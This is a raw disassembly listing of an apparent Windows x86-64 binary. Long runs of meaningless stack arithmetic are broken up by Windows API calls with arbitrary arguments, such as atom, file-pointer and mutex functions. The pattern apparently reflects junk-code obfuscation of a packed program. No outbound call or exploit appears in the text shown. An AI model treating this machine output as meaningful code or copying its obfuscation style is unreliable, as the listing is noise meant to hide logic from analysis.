add eax, ecx
mov word [rsp + 0x11b0], ax
mov rax, qword [rsp + 0x104f0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x405]
add eax, ecx
mov byte [rsp + 0x50f], al
mov edx, 0x99
mov rcx, qword [rsp + 0x105b0]
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
mov dword [rsp + 0x8064], eax
mov rax, qword [rsp + 0x10648]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1fe8]
xor eax, ecx
mov word [0x14023c3a4], ax
mov rax, qword [rsp + 0x104b0]
mov rcx, qword [rsp + 0x10678]
mov qword [rsp + 0x10760], rcx
movzx ecx, al
mov rax, qword [rsp + 0x10760]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x10508], rax
mov rax, qword [rsp + 0x10678]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x10730]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x10578], rax
mov rax, qword [rsp + 0x106a8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x10640]
sar rax, cl
mov qword [rsp + 0xd720], rax
mov rax, qword [rsp + 0x10570]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x10658]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x27b8], ax
call qword [sym.imp.KERNEL32.dll_GetSystemDefaultUILanguage]
movzx eax, ax
mov dword [rsp + 0x7fc4], eax
mov rax, qword [rsp + 0x105d0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x48d]
sub eax, ecx
movzx ecx, byte [rsp + 0xfe]
movzx edx, byte [rsp + 0x50f]
add ecx, edx
cmp eax, ecx
jne 0x1401f15e8
movsx eax, word [rsp + 0x27dc]
mov rcx, qword [rsp + 0x10648]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x14023c3a8], ax
mov r9d, 2
xor r8d, r8d
mov edx, 0x4cf2
mov rcx, qword [rsp + 0x10668]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x8044], eax
lea rcx, [0x14023da74]
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2804], ax
lea rcx, [rsp + 0x23c80]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov rax, qword [rsp + 0x106b0]
movzx eax, byte [rax]
mov byte [rsp + 0x513], al
movzx eax, word [rsp + 0x27d0]
mov rcx, qword [0x1402815b8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x10570]
mov word [rcx], ax
movsx eax, word [rsp + 0x165c]
mov rcx, qword [rsp + 0x10648]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1eb8], ax
movzx eax, byte [rsp + 0x405]
mov rcx, qword [rsp + 0x106b0]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x2c4], al
cmp dword [rsp + 0x8030], 0x8fe5
jb 0x14001c9d3
mov rax, qword [rsp + 0x10650]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x10758]
mov qword [rsp + 0x10768], rcx
movzx ecx, al
mov rax, qword [rsp + 0x10768]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x10758]
mov dword [rcx], eax
mov rax, qword [rsp + 0x10720]
mov ecx, dword [rsp + 0x8024]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x7f38], eax
mov rax, qword [rsp + 0x10528]
mov rcx, qword [rsp + 0x104a0]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x10528]
mov qword [rcx], rax
mov rax, qword [rsp + 0x10678]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x106b8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x10730], rax
mov rax, qword [0x1402815c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x413]
add eax, ecx
mov rcx, qword [0x1402815c8]
mov byte [rcx], al
mov eax, dword [rsp + 0x8030]
sub eax, 0xd5
mov dword [rsp + 0x8030], eax
movzx eax, byte [rsp + 0x511]
mov rcx, qword [rsp + 0x106b0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x50d], al
mov rcx, qword [rsp + 0x10498]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x7f08], eax
movzx eax, word [0x14023c39c]
mov rcx, qword [rsp + 0x10658]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x105f8]
mov word [rcx], ax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeInfo]
movsx eax, byte [rsp + 0xce]
mov rcx, qword [0x1402815c8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x512], al
mov rax, qword [rsp + 0x106a8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x10508]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x104b8], rax
mov edx, 0x5632a0
mov rcx, qword [rsp + 0x10610]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x805c], eax
mov rax, qword [rsp + 0x10698]
mov rcx, qword [rsp + 0x106c8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xda68], rax
mov eax, dword [rsp + 0x78c0]
mov ecx, dword [rsp + 0x6a58]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x8024], eax
mov r9d, 2
xor r8d, r8d
mov edx, 0xfcf1
mov rcx, qword [rsp + 0x10510]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x7f08], eax
mov rax, qword [rsp + 0x10758]
mov ecx, dword [rsp + 0x7ddc]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x7f3c], eax
movsx eax, word [rsp + 0x1eb8]
movsx ecx, word [rsp + 0x27c0]
shl eax, cl
mov rcx, qword [rsp + 0x10648]
mov word [rcx], ax
movzx eax, word [rsp + 0x11b0]
movzx ecx, word [rsp + 0x27d0]
or eax, ecx
mov word [0x14023c39c], ax
movzx eax, byte [rsp + 0xfe]
mov rcx, qword [rsp + 0x105d0]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x48d], al
mov rax, qword [0x14023c380]
mov rcx, qword [rsp + 0x10508]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x10640], rax
mov rax, qword [rsp + 0x104b0]
mov rcx, qword [rsp + 0x104a8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x106b8], rax
mov rax, qword [rsp + 0x106b0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x511]
add eax, ecx
mov byte [rsp + 0x2c4], al
mov rax, qword [rsp + 0x10608]
mov ecx, dword [rsp + 0x8020]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x10650]
mov dword [rcx], eax
mov rax, qword [rsp + 0x106c0]
mov rcx, qword [rsp + 0x10500]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x10698], rax
mov eax, dword [rsp + 0x7fcc]
mov ecx, dword [rsp + 0x7f88]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x10720]
mov dword [rcx], eax
mov rax, qword [rsp + 0x10648]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x106e8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x27dc], ax
mov rax, qword [rsp + 0x105f8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x11a8]
and eax, ecx
mov word [0x14023c3a0], ax
mov rax, qword [rsp + 0x10538]
mov rcx, qword [rsp + 0x106a8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x10670], rax
movsx eax, byte [rsp + 0x512]
mov rcx, qword [0x1402815c8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x50e], al
mov rax, qword [rsp + 0x106b0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x104f0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x50f], al
mov rax, qword [rsp + 0x106e8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x10648]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x112c], ax
xor r9d, r9d
lea r8, [rsp + 0x104e0]
mov rdx, qword [rsp + 0x10770]
mov rcx, qword [rsp + 0x106d8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x7f28], eax
mov rax, qword [rsp + 0x10650]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x10608]
mov qword [rsp + 0x10778], rcx
movzx ecx, al
mov rax, qword [rsp + 0x10778]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x8014], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x7f90], eax
jmp 0x14001c5b0
mov rax, qword [rsp + 0x10720]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7fc4]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x78c0], eax
mov rax, qword [0x14023c370]
movzx ecx, al
mov rax, qword [rsp + 0x104a0]
shr rax, cl
mov qword [rsp + 0x10548], rax
mov rax, qword [rsp + 0x105f8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x11a8]
and eax, ecx
mov word [rsp + 0x27cc], ax
movzx eax, byte [rsp + 0x2c4]
movzx ecx, byte [rsp + 0xfe]
sub eax, ecx
mov byte [0x1402815a0], al
movzx eax, word [0x14023c39c]
movzx ecx, word [rsp + 0x27e8]
sub eax, ecx
mov word [rsp + 0x11a8], ax
mov rax, qword [rsp + 0x10648]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x106e8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x27ec], ax
mov rax, qword [rsp + 0x106a8]
mov rcx, qword [rsp + 0x10678]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x106b8], rax
movzx ecx, word [rsp + 0x27bc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x27c8], ax
mov rax, qword [rsp + 0x104b0]
mov rcx, qword [rsp + 0x104b8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xd720], rax
mov rax, qword [rsp + 0x10608]
mov ecx, dword [0x1402815b0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7f3c], eax
mov rax, qword [rsp + 0x10718]
mov rcx, qword [rsp + 0x10588]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xda68], rax
mov rax, qword [rsp + 0x10720]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7f54]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7fcc], eax
movzx eax, word [rsp + 0x27b4]
mov rcx, qword [rsp + 0x10658]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x27e8], ax
movzx ecx, word [rsp + 0x27e4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x27bc], ax
mov rax, qword [rsp + 0x104f0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x511]
sar eax, cl
mov byte [0x14023c03a], al
mov rax, qword [0x1402815c8]
movsx eax, byte [rax]
movsx ecx, byte [0x14023c038]
xor eax, ecx
mov byte [rsp + 0x413], al
movsx eax, word [rsp + 0x1fe8]
movsx ecx, word [rsp + 0x27d8]
or eax, ecx
mov word [rsp + 0x2084], ax
mov rax, qword [rsp + 0x10678]
mov rcx, qword [rsp + 0x10538]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x10740], rax
mov rax, qword [rsp + 0x10648]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x106e8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x165c], ax
mov rax, qword [rsp + 0x10720]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8050]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x8024], eax
lea rdx, [rsp + 0x10780]
mov rcx, qword [rsp + 0x106d8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x8058], eax
mov eax, dword [rsp + 0x7fc8]
add eax, 0x7b
mov dword [rsp + 0x7fc8], eax
mov rax, qword [rsp + 0x10758]
mov ecx, dword [rsp + 0x800c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x8014], eax
mov rax, qword [rsp + 0x104e8]
mov rcx, qword [rsp + 0x10718]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x10528]
mov qword [rcx], rax
mov rax, qword [rsp + 0x105d0]
movzx eax, byte [rax]
mov rcx, qword [0x140281590]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x510], al
movzx eax, word [rsp + 0x11b0]
mov rcx, qword [rsp + 0x10518]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1402815d0], ax
mov rax, qword [rsp + 0x10678]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x10730]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x10670], rax
mov rax, qword [rsp + 0x10648]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x27d4]
add eax, ecx
mov word [rsp + 0x27c0], ax
mov qword [rsp + 0x20], 0
mov r9d, 0x276d
mov r8d, 0x3531
mov edx, 0x1a
mov rcx, qword [rsp + 0x10530]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x8004], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x7f1c], eax
mov rax, qword [rsp + 0x105f8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x10570]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x27b8], ax
movzx eax, byte [0x1402815c0]
mov rcx, qword [rsp + 0x104f0]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x513], al
mov rax, qword [rsp + 0x10758]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x777c]
shr eax, cl
mov dword [rsp + 0x7f10], eax
mov rax, qword [rsp + 0x10528]
mov rcx, qword [rsp + 0x104a0]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x10548], rax
mov rcx, qword [rsp + 0x10510]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x7f2c], eax
cmp dword [rsp + 0x7fc8], 0x3340
jne 0x14001c9d3
mov rax, qword [rsp + 0x10720]
mov ecx, dword [rsp + 0x68f0]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x7f54], eax
lea rcx, str.OS_V
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2808], ax
movzx eax, byte [rsp + 0x50e]
mov byte [rsp + 0x514], al
mov rax, qword [rsp + 0x105d0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2c4]
cdq
idiv ecx
mov byte [rsp + 0x50d], al
mov rax, qword [rsp + 0x105f8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x10658]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14023c3a0], ax
movsx eax, word [rsp + 0x112c]
movsx ecx, word [0x14023c3a4]
add eax, ecx
mov word [rsp + 0x2800], ax
mov rax, qword [rsp + 0x104a8]
mov rcx, qword [rsp + 0x10640]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x10730], rax
mov rax, qword [0x1402815a8]
mov rcx, qword [rsp + 0x10640]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x104b0], rax
mov rax, qword [rsp + 0x10528]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x104e8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x104a0], rax
movzx ecx, word [rsp + 0x27f4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x27c4], ax
mov eax, dword [rsp + 0x8000]
add eax, 0x8d
mov dword [rsp + 0x8000], eax
mov rcx, qword [rsp + 0x10610]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x7f1c], eax
mov rax, qword [rsp + 0x10720]
mov ecx, dword [rsp + 0x68f0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x8024], eax
mov rax, qword [rsp + 0x10758]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7f10]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7ddc], eax
movzx eax, byte [rsp + 0x405]
movzx ecx, byte [rsp + 0xfe]
add eax, ecx
mov byte [rsp + 0x511], al
mov rax, qword [rsp + 0x106e8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x165c]
sub eax, ecx
mov rcx, qword [rsp + 0x106e8]
mov word [rcx], ax
lea rdx, [rsp + 0x25090]
mov rcx, qword [rsp + 0x10510]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x8004], eax
movzx eax, word [rsp + 0x27d0]
mov rcx, qword [rsp + 0x10658]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1402815d0], ax
mov rax, qword [0x14023c380]
mov rcx, qword [rsp + 0x10670]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xd720], rax
mov rax, qword [rsp + 0x104a8]
movzx ecx, al
mov rax, qword [rsp + 0x106b8]
shl rax, cl
mov qword [rsp + 0x104b8], rax
movsx eax, word [rsp + 0x1eb8]
movsx ecx, word [rsp + 0x27fc]
or eax, ecx
mov word [rsp + 0x112c], ax
mov rax, qword [rsp + 0x10720]
mov ecx, dword [rsp + 0x7f00]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x7f38], eax
mov rax, qword [rsp + 0x10650]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x7fd8]
shr eax, cl
mov dword [rsp + 0x7fec], eax
mov rax, qword [0x1402815c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x413]
and eax, ecx
mov byte [rsp + 0x514], al
mov rax, qword [rsp + 0x10528]
mov rcx, qword [rsp + 0x104a0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x106c8], rax
mov rax, qword [rsp + 0x10658]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x27d0]
sub eax, ecx
mov word [rsp + 0x27cc], ax
mov rax, qword [rsp + 0x10648]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x27dc]
and eax, ecx
mov word [0x14023c378], ax
movzx eax, word [rsp + 0x11b0]
movzx ecx, word [rsp + 0x11a8]
add eax, ecx
mov rcx, qword [rsp + 0x10658]
mov word [rcx], ax
mov rax, qword [rsp + 0x104f0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x48d]
sub eax, ecx
mov rcx, qword [rsp + 0x104f0]
mov byte [rcx], al
movzx eax, byte [rsp + 0x48d]
movzx ecx, byte [rsp + 0xfe]
add eax, ecx
mov byte [rsp + 0x2fc], al
mov eax, dword [rsp + 0x78c0]
mov ecx, dword [rsp + 0x68f0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7fcc], eax
mov rax, qword [rsp + 0x10650]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8014]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8020], eax
mov rax, qword [0x14023c370]
movzx ecx, al
mov rax, qword [rsp + 0x10588]
shl rax, cl
mov qword [rsp + 0xd1b0], rax
mov rax, qword [rsp + 0x10518]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x11b0]
xor eax, ecx
mov word [rsp + 0x27b4], ax
movsx eax, word [rsp + 0x27dc]
movsx ecx, word [rsp + 0x27c0]
sar eax, cl
mov word [rsp + 0x27d4], ax
movzx eax, byte [rsp + 0x510]
mov rcx, qword [rsp + 0x105d0]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [0x14023c039], al
mov rax, qword [rsp + 0x10508]
mov rcx, qword [rsp + 0x104a8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x10640], rax
mov rax, qword [rsp + 0x10678]
mov rcx, qword [rsp + 0x106a8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x10578], rax
mov rax, qword [rsp + 0x106a8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x10578]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x104b0], rax
mov rax, qword [rsp + 0x104f0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x105d0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xfe], al
mov rax, qword [rsp + 0x106b8]
mov rcx, qword [rsp + 0x10740]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x10678]
mov qword [rcx], rax
mov rax, qword [rsp + 0x10528]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xda68]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x10548], rax
mov eax, dword [rsp + 0x8024]
mov ecx, dword [0x14023c398]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7fcc], eax
cmp dword [rsp + 0x8000], 0x122d2
jbe 0x14001ce15
cmp dword [rsp + 0x7fdc], 0x616c
jbe 0x14001d79a
mov rax, qword [rsp + 0x10758]
mov ecx, dword [rsp + 0x7ddc]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x777c], eax
mov rax, qword [rsp + 0x10570]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x11b0]
add eax, ecx
mov rcx, qword [0x140281598]
mov word [rcx], ax
movsx eax, word [rsp + 0x112c]
mov rcx, qword [rsp + 0x106e8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x27d8], ax
movzx eax, word [rsp + 0x27d0]
movzx ecx, word [rsp + 0x27cc]
shl eax, cl
mov word [rsp + 0x11a8], ax
mov edx, 0x63180f
mov rcx, qword [rsp + 0x10580]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x8068], eax
movzx eax, byte [rsp + 0x50f]
mov rcx, qword [rsp + 0x105d0]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x2fc], al
movsx eax, word [rsp + 0x2800]
movsx ecx, word [rsp + 0x27fc]
sar eax, cl
mov rcx, qword [rsp + 0x106e8]
mov word [rcx], ax
mov r9d, 2
xor r8d, r8d
mov edx, 0x6f2a
mov rcx, qword [rsp + 0x10530]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x7f1c], eax
mov rax, qword [rsp + 0x10650]
mov rcx, qword [rsp + 0x10608]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x7f10], eax
mov rax, qword [rsp + 0x10720]
mov ecx, dword [rsp + 0x7368]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x7f00], eax
xor r8d, r8d
mov edx, 0x40
lea rcx, [rsp + 0x26db0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x7fe0], eax
mov rax, qword [rsp + 0x105e8]
mov rcx, qword [rsp + 0x106c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x10548], rax
mov rax, qword [rsp + 0x10678]
mov rcx, qword [rsp + 0x10538]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xd720], rax
movsx eax, word [rsp + 0x1eb8]
movsx ecx, word [rsp + 0x27ec]
add eax, ecx
mov word [0x1402815c2], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
movzx eax, word [rsp + 0x27b4]
movzx ecx, word [rsp + 0x27d0]
sub eax, ecx
mov word [rsp + 0x11a8], ax
mov rax, qword [rsp + 0x105d0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x104f0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x50f], al
movsx eax, byte [0x14023c038]
mov rcx, qword [0x1402815c8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x413], al
mov rax, qword [rsp + 0x10578]
mov rcx, qword [rsp + 0x10740]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x10678]
mov qword [rcx], rax
movzx ecx, word [rsp + 0x2804]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x27e4], ax
mov eax, dword [0x14023c394]
mov ecx, dword [rsp + 0x68f0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x8024], eax
mov rax, qword [rsp + 0x10528]
mov rcx, qword [rsp + 0x106c0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x106c8], rax
mov rcx, qword [rsp + 0x10510]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x806c], eax
mov rax, qword [rsp + 0x10758]
mov ecx, dword [0x14023c390]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x777c], eax
movzx ecx, word [rsp + 0x27bc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x27e4], ax
mov rcx, qword [rsp + 0x10510]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x806c], eax
mov rax, qword [rsp + 0x10518]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x10570]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x11a8], ax
movzx eax, byte [rsp + 0x48d]
movzx ecx, byte [rsp + 0x2fc]
xor eax, ecx
mov byte [0x1402815c0], al
movsx eax, word [rsp + 0x27dc]
movsx ecx, word [rsp + 0x1fe8]
shl eax, cl
mov word [rsp + 0x27d4], ax
mov rax, qword [rsp + 0x10678]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x106b8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xd720], rax
mov rax, qword [0x1402815a8]
mov rcx, qword [rsp + 0x10730]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x10678]
mov qword [rcx], rax
movsx eax, word [rsp + 0x27fc]
movsx ecx, word [rsp + 0x112c]
sub eax, ecx
mov word [rsp + 0x1fe8], ax
mov rax, qword [rsp + 0x10528]
mov rcx, qword [rsp + 0x10698]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x10718], rax
mov rax, qword [rsp + 0x10720]
mov eax, dword [rax]
mov ecx, dword [0x14023c394]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7368], eax
mov rax, qword [rsp + 0x10758]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7f3c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8014], eax
mov rax, qword [rsp + 0x105d0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x104f0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xfe], al
mov rax, qword [rsp + 0x10570]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x10518]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x1402815d0], ax
mov rax, qword [rsp + 0x106a8]
mov rcx, qword [rsp + 0x10678]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x10730], rax
mov eax, dword [rsp + 0x7fdc]
sub eax, 0x38
mov dword [rsp + 0x7fdc], eax
mov rax, qword [0x1402815c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xce]
sar eax, cl
mov byte [rsp + 0x514], al
mov rax, qword [rsp + 0x10570]
movzx eax, word [rax]
movzx ecx, word [0x14023c3a0]
or eax, ecx
mov word [rsp + 0x27cc], ax
movzx eax, byte [rsp + 0x48d]
mov rcx, qword [rsp + 0x105d0]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x511], al
mov rax, qword [rsp + 0x10698]
mov rcx, qword [rsp + 0x10528]
mov qword [rsp + 0x10788], rcx
movzx ecx, al
mov rax, qword [rsp + 0x10788]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x10588], rax
mov eax, dword [rsp + 0x7f3c]
mov ecx, dword [rsp + 0x777c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7f10], eax
mov rax, qword [rsp + 0x10720]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x68f0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x78c0], eax
movsx eax, word [rsp + 0x1eb8]
movsx ecx, word [rsp + 0x27d8]
add eax, ecx
mov word [rsp + 0x27ec], ax
movsx eax, word [rsp + 0x2800]
mov rcx, qword [rsp + 0x106e8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x14023c378], ax
jmp 0x14001d270
movzx eax, word [rsp + 0x27e8]
movzx ecx, word [rsp + 0x11b0]
add eax, ecx
mov word [rsp + 0x27d0], ax
mov rax, qword [rsp + 0x105d0]
movzx eax, byte [rax]
mov byte [rsp + 0x515], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x10790], rax
cmp dword [rsp + 0x8054], 0xe97c
jae 0x14001dd23
mov rcx, qword [rsp + 0x10498]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x7f20], eax
mov rax, qword [rsp + 0x10538]
mov rcx, qword [rsp + 0x106a8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x104b0], rax
mov rax, qword [rsp + 0x106a8]
mov rax, qword [rax]
mov rcx, qword [0x14023c380]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x104a8], rax
mov rax, qword [rsp + 0x10720]
mov ecx, dword [rsp + 0x7fc4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x7f38], eax
mov rax, qword [rsp + 0x10528]
mov rax, qword [rax]
